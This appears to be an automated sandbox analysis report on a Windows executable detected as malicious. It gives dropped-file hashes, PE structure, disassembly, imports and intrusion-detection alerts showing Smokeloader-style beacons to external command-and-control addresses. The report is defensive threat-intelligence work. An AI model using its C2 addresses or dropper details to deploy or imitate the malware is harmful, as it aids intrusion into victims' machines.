Preview:	.G..;{.xF..M....6..o.xh...I..A.....A.o.......oF.s~;.{.H-..#.....jZ.Z......p.3w.....FA.4.~..>..........F.7.......}.?..d@I<.?.i.2p."..z/.$.C...].Q..>..`......J.....H....u42....ZQ...X..eNg.4.a6....&.'.`.."....%.d.-4..Pk.R\....G.O.S.m..'./G...r.3_...c.b...k..;o..n.....=u.w.....X,.%...sZ{....D5....Z......U.Dr..Wy.m..kRs...?-....MDP.F.y...P..M..8J...#]......D........r9{..w;b.u.....x.h5...q...QP...hq:..x..-..].;x....u.(..xl.g....&-i#.m..yr.....%.Pp..v...dD.....k:......1+.......jR.Y..@..$..m....>+8..\.s...j...RH0...E.mu(..C....0...`7.}..p.7M.....$...SA....;;.L...\|....>.`..k.....!'8...hI.....".W.v .B.yn...Y....n.1..B.p....O.~.._.K._.2..==M,S.h.5..H....X.."..V..&..y..D....L..Y+...S.bm..&.%....2o...3.C...T...I..._..T.9G].0n.a2.(.......?.d......oS......s.\|.!.m.l....\|_{."q..........4B.t./dr...j.'kU.X.....@).........B+H..M.s.F.k...q....F...g........zv......................sXfk..3....p..V.....N.j..Z.r.L..N.e.bo#...i..o....8..{.....j...(K.&...j;.t

C:\Users\user\AppData\Roaming\hdhruer

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	453632
Entropy (8bit):	6.352592573597842
Encrypted:	false
SSDEEP:	6144:Xv+T0hUr6WQIzmEpudCnKBzWhI3MLF9hv2Hx+3CtvjUiWElEy6BbO42T8:GYhUr672/gCnMWO8LFzv2RNvjU3NO4O
MD5:	366910063EF4A518B6ADF6D28C7B2C69
SHA1:	2A87028980742C1A86C8B5A356B8F379D4EA23E7
SHA-256:	0DC84955A94A98E04A933E66A3940BDCA12BCA73C41E2EB04D726B0AD28A8256
SHA-512:	0A473FEBB788BDCBBC8791334AC5EF705F5A875111FA9B579154DE5C1CB9A86FC92ABF77B29C7BD4EAA24D1F28C854FF3F4186C29E9FFA915A0F642B19CE3C33
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........io..............~.......~.......~.......p..........3....~.......~.......~......Rich............PE..L....$.e.............................;............@.........................................................................0...x.......................................................................@............................................text............................... ..`.rdata.............................@..@.data............`..................@....dilafav............................@..@.heciw..............................@..@.hirezep............................@....rsrc...............................@..@........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jghruer

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	454144
Entropy (8bit):	6.35347986015949
Encrypted:	false
SSDEEP:	6144:bTOLX6UHRWxXKNneVtVD/Gn9meVgd4w3sGz7A8gVy6BbO42T8:+r6UHoxaNneVtV5jz8s4NO4O
MD5:	A27775738FAFF754DCF5C3E8E42B9838
SHA1:	EF3BCDFBC99CA65CF6AE2B550DA3B9C4451DB2A7
SHA-256:	BA8FCBECAF19E5DA453AAFBCB716C6BA46980D64AD1C86CE17CEE7426C042BCC
SHA-512:	937EC056B76048653D1D2A8151B89551D1DFFFEC212177686DB6000104825397B1B97A9B153FB137A3C83FB53AFC3FC2810A1D4CD3663CF12EF34F5E6C41277A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........io..............~.......~.......~.......p..........3....~.......~.......~......Rich............PE..L.....cd.............................;............@.................................I...........................................x...................................X...............................h...@............................................text............................... ..`.rdata..r...........................@..@.data............`..................@....saxaxi.............................@..@.losucu.............................@..@.rasiye.............................@....rsrc...............................@..@........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jghruer:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.35347986015949
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ctMI3TYXpX.exe
File size:	454'144 bytes
MD5:	a27775738faff754dcf5c3e8e42b9838
SHA1:	ef3bcdfbc99ca65cf6ae2b550da3b9c4451db2a7
SHA256:	ba8fcbecaf19e5da453aafbcb716c6ba46980d64ad1c86ce17cee7426c042bcc
SHA512:	937ec056b76048653d1d2a8151b89551d1dfffec212177686db6000104825397b1b97a9b153fb137a3c83fb53afc3fc2810a1d4cd3663cf12ef34f5e6c41277a
SSDEEP:	6144:bTOLX6UHRWxXKNneVtVD/Gn9meVgd4w3sGz7A8gVy6BbO42T8:+r6UHoxaNneVtV5jz8s4NO4O
TLSH:	53A4B00256F9AEA0F5F246328D2DF6E8A56DFC51EE58E757325CEB1F1B701A0C222311
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........io..............~.......~.......~.......p..........3....~.......~.......~......Rich............PE..L.....cd...................

File Icon


Icon Hash:	45254945454d410d

Static PE Info

General

Entrypoint:	0x403bf9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64639EA7 [Tue May 16 15:17:59 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	cf2df69e8bb6acbf3b231da2c6f4bda2

Entrypoint Preview

Instruction
call 00007FAB8881EFA9h
jmp 00007FAB8881BEFEh
push dword ptr [00451258h]
call dword ptr [0040F12Ch]
test eax, eax
je 00007FAB8881C074h
call eax
push 00000019h
call 00007FAB8881E88Bh
push 00000001h
push 00000000h
call 00007FAB8881B830h
add esp, 0Ch
jmp 00007FAB8881B7F5h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040F3C0h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FAB8881C07Eh
test byte ptr [eax], 00000008h
je 00007FAB8881C079h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [0040F160h]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword ptr [ebp+0Ch]
add eax, 0Ch
mov dword ptr [ebp-04h], eax
mov ebx, dword ptr fs:[00000000h]
mov eax, dword ptr [ebx]
mov dword ptr fs:[00000000h], eax
mov eax, dword ptr [ebp+08h]
mov ebx, dword ptr [ebp+0Ch]
mov ebp, dword ptr [ebp-04h]
mov esp, dword ptr [ebx-04h]
jmp eax
pop ebx
leave
retn 0008h
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x49ae0	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x60000	0x1f108	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x49b58	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x49068	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf000	0x1fc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xd4dd	0xd600	c643eea5aef12fcfd7be843cbfe6445e	False	0.6018910630841121	data	6.671297397200401	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf000	0x3b672	0x3b800	ee8e72efdf963d859c9aeaa4ae95d831	False	0.7518546481092437	data	6.868582189296561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4b000	0x11cc0	0x6000	31f5596484b4beb598ad2843fc87cb5b	False	0.0838623046875	data	1.091277368418054	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.saxaxi	0x5d000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.losucu	0x5e000	0xd6	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rasiye	0x5f000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x60000	0x1f108	0x1f200	ed98b720f1c3ff3a2761a26875f38bf5	False	0.4244791666666667	data	5.043758495644137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x79b78	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0			0.1948529411764706
RT_CURSOR	0x79ea8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.33223684210526316
RT_CURSOR	0x7a000	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x7aea8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x7b750	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0x7bce8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x7cb90	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x7d438	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x60ac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.3694029850746269
RT_ICON	0x60ac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.3694029850746269
RT_ICON	0x61968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4553249097472924
RT_ICON	0x61968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4553249097472924
RT_ICON	0x62210	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.4619815668202765
RT_ICON	0x62210	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.4619815668202765
RT_ICON	0x628d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.4552023121387283
RT_ICON	0x628d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.4552023121387283
RT_ICON	0x62e40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2682572614107884
RT_ICON	0x62e40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2682572614107884
RT_ICON	0x653e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.3074577861163227
RT_ICON	0x653e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.3074577861163227
RT_ICON	0x66490	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3599290780141844
RT_ICON	0x66490	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3599290780141844
RT_ICON	0x66960	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.5690298507462687
RT_ICON	0x66960	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.5690298507462687
RT_ICON	0x67808	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5473826714801444
RT_ICON	0x67808	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5473826714801444
RT_ICON	0x680b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.6163294797687862
RT_ICON	0x680b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.6163294797687862
RT_ICON	0x68618	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.4631742738589212
RT_ICON	0x68618	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.4631742738589212
RT_ICON	0x6abc0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.4873358348968105
RT_ICON	0x6abc0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.4873358348968105
RT_ICON	0x6bc68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.4930327868852459
RT_ICON	0x6bc68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.4930327868852459
RT_ICON	0x6c5f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.4512411347517731
RT_ICON	0x6c5f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.4512411347517731
RT_ICON	0x6cac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.3784648187633262
RT_ICON	0x6cac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.3784648187633262
RT_ICON	0x6d968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5058664259927798
RT_ICON	0x6d968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5058664259927798
RT_ICON	0x6e210	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5599078341013825
RT_ICON	0x6e210	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5599078341013825
RT_ICON	0x6e8d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.583092485549133
RT_ICON	0x6e8d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.583092485549133
RT_ICON	0x6ee40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.37053941908713695
RT_ICON	0x6ee40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.37053941908713695
RT_ICON	0x713e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.41228893058161353
RT_ICON	0x713e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.41228893058161353
RT_ICON	0x72490	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.40081967213114755
RT_ICON	0x72490	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.40081967213114755
RT_ICON	0x72e18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.46897163120567376
RT_ICON	0x72e18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.46897163120567376
RT_ICON	0x732f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.3742004264392324
RT_ICON	0x732f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.3742004264392324
RT_ICON	0x741a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5171480144404332
RT_ICON	0x741a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5171480144404332
RT_ICON	0x74a48	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6059907834101382
RT_ICON	0x74a48	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6059907834101382
RT_ICON	0x75110	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6596820809248555
RT_ICON	0x75110	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6596820809248555
RT_ICON	0x75678	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.487551867219917
RT_ICON	0x75678	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.487551867219917
RT_ICON	0x77c20	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.5060975609756098
RT_ICON	0x77c20	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.5060975609756098
RT_ICON	0x78cc8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.4860655737704918
RT_ICON	0x78cc8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.4860655737704918
RT_ICON	0x79650	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.5390070921985816
RT_ICON	0x79650	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.5390070921985816
RT_DIALOG	0x7dc30	0x58	data			0.8977272727272727
RT_STRING	0x7dc88	0x2c6	data	Tamil	India	0.4830985915492958
RT_STRING	0x7dc88	0x2c6	data	Tamil	Sri Lanka	0.4830985915492958
RT_STRING	0x7df50	0x6b4	data	Tamil	India	0.42657342657342656
RT_STRING	0x7df50	0x6b4	data	Tamil	Sri Lanka	0.42657342657342656
RT_STRING	0x7e608	0x242	data	Tamil	India	0.4982698961937716
RT_STRING	0x7e608	0x242	data	Tamil	Sri Lanka	0.4982698961937716
RT_STRING	0x7e850	0x620	data	Tamil	India	0.4343112244897959
RT_STRING	0x7e850	0x620	data	Tamil	Sri Lanka	0.4343112244897959
RT_STRING	0x7ee70	0x292	data	Tamil	India	0.4817629179331307
RT_STRING	0x7ee70	0x292	data	Tamil	Sri Lanka	0.4817629179331307
RT_ACCELERATOR	0x79b30	0x48	data	Tamil	India	0.8472222222222222
RT_ACCELERATOR	0x79b30	0x48	data	Tamil	Sri Lanka	0.8472222222222222
RT_GROUP_CURSOR	0x79fd8	0x22	data			1.0294117647058822
RT_GROUP_CURSOR	0x7bcb8	0x30	data			0.9375
RT_GROUP_CURSOR	0x7d9a0	0x30	data			0.9375
RT_GROUP_ICON	0x6ca58	0x68	data	Tamil	India	0.7019230769230769
RT_GROUP_ICON	0x6ca58	0x68	data	Tamil	Sri Lanka	0.7019230769230769
RT_GROUP_ICON	0x668f8	0x68	data	Tamil	India	0.6826923076923077
RT_GROUP_ICON	0x668f8	0x68	data	Tamil	Sri Lanka	0.6826923076923077
RT_GROUP_ICON	0x73280	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x73280	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_GROUP_ICON	0x79ab8	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x79ab8	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_VERSION	0x7d9d0	0x25c	data			0.5413907284768212

Imports

DLL	Import
KERNEL32.dll	InterlockedDecrement, SetEnvironmentVariableW, QueryDosDeviceA, SetVolumeMountPointW, GetComputerNameW, GetTimeFormatA, GetTickCount, CreateNamedPipeW, LocalFlags, GetNumberFormatA, SetFileTime, ClearCommBreak, TlsSetValue, GetEnvironmentStrings, SetFileShortNameW, LoadLibraryW, CopyFileW, _hread, GetCalendarInfoA, SetVolumeMountPointA, GetVersionExW, GetFileAttributesA, CreateProcessA, GetModuleFileNameW, CreateActCtxA, GetEnvironmentVariableA, GetShortPathNameA, CreateJobObjectA, EnumCalendarInfoW, InterlockedExchange, GetStdHandle, GetLogicalDriveStringsA, GetLastError, GetCurrentDirectoryW, GetProcAddress, EnumSystemCodePagesW, SetComputerNameA, SetFileAttributesA, GlobalFree, LoadLibraryA, LocalAlloc, CreateHardLinkW, GetNumberFormatW, CreateEventW, OpenEventA, FoldStringW, GlobalWire, EnumDateFormatsW, GetShortPathNameW, GetDiskFreeSpaceExA, ReadConsoleInputW, GetCurrentProcessId, DebugBreak, GetTempPathA, LCMapStringW, EnumCalendarInfoA, InterlockedIncrement, CommConfigDialogA, GetConsoleAliasExesA, GetLocaleInfoA, SetFilePointer, VerifyVersionInfoW, WriteConsoleW, CloseHandle, FlushFileBuffers, GetConsoleMode, GetConsoleCP, EncodePointer, DecodePointer, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, HeapFree, HeapReAlloc, GetModuleHandleW, ExitProcess, GetCommandLineW, HeapSetInformation, GetStartupInfoW, RaiseException, RtlUnwind, HeapAlloc, WideCharToMultiByte, MultiByteToWideChar, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, HeapCreate, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, TlsAlloc, TlsGetValue, TlsFree, SetLastError, GetCurrentThreadId, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetSystemTimeAsFileTime, HeapSize, GetACP, GetOEMCP, IsValidCodePage, GetStringTypeW, SetStdHandle, CreateFileW
GDI32.dll	GetCharWidthI, CreateDCA, CreateDCW, GetCharWidth32A
ADVAPI32.dll	ReadEventLogW
ole32.dll	CoSuspendClassObjects
WINHTTP.dll	WinHttpOpen, WinHttpCheckPlatform

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T03:14:22.194672+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49736	180.75.11.133	80	TCP
2024-10-08T03:14:23.607928+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49737	180.75.11.133	80	TCP
2024-10-08T03:14:24.986323+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49738	180.75.11.133	80	TCP
2024-10-08T03:14:26.372379+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49739	180.75.11.133	80	TCP
2024-10-08T03:14:27.804881+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49740	180.75.11.133	80	TCP
2024-10-08T03:14:29.188524+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49741	180.75.11.133	80	TCP
2024-10-08T03:14:30.567066+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49742	180.75.11.133	80	TCP
2024-10-08T03:14:31.967427+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49743	180.75.11.133	80	TCP
2024-10-08T03:14:33.349888+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49744	180.75.11.133	80	TCP
2024-10-08T03:14:34.724537+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49745	180.75.11.133	80	TCP
2024-10-08T03:14:36.129091+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49746	180.75.11.133	80	TCP
2024-10-08T03:14:37.511221+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49747	180.75.11.133	80	TCP
2024-10-08T03:14:38.888606+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49748	180.75.11.133	80	TCP
2024-10-08T03:14:40.294985+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49749	180.75.11.133	80	TCP
2024-10-08T03:14:41.687004+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49750	180.75.11.133	80	TCP
2024-10-08T03:14:43.070323+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49751	180.75.11.133	80	TCP
2024-10-08T03:14:44.453846+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49752	180.75.11.133	80	TCP
2024-10-08T03:14:46.078180+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49753	180.75.11.133	80	TCP
2024-10-08T03:14:47.954405+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49754	180.75.11.133	80	TCP
2024-10-08T03:14:49.384205+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49755	180.75.11.133	80	TCP
2024-10-08T03:14:50.822470+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49756	180.75.11.133	80	TCP
2024-10-08T03:14:52.232319+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49758	180.75.11.133	80	TCP
2024-10-08T03:14:53.619316+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49759	180.75.11.133	80	TCP
2024-10-08T03:14:55.012096+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49760	180.75.11.133	80	TCP
2024-10-08T03:14:57.758027+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49773	180.75.11.133	80	TCP
2024-10-08T03:14:59.141611+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49784	180.75.11.133	80	TCP
2024-10-08T03:15:00.543733+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49795	180.75.11.133	80	TCP
2024-10-08T03:15:01.943079+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49803	180.75.11.133	80	TCP
2024-10-08T03:15:03.347158+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49812	180.75.11.133	80	TCP
2024-10-08T03:15:04.734946+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49822	180.75.11.133	80	TCP
2024-10-08T03:15:06.122207+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49831	180.75.11.133	80	TCP
2024-10-08T03:15:07.506497+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49841	180.75.11.133	80	TCP
2024-10-08T03:15:19.207418+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49915	23.145.40.168	443	TCP
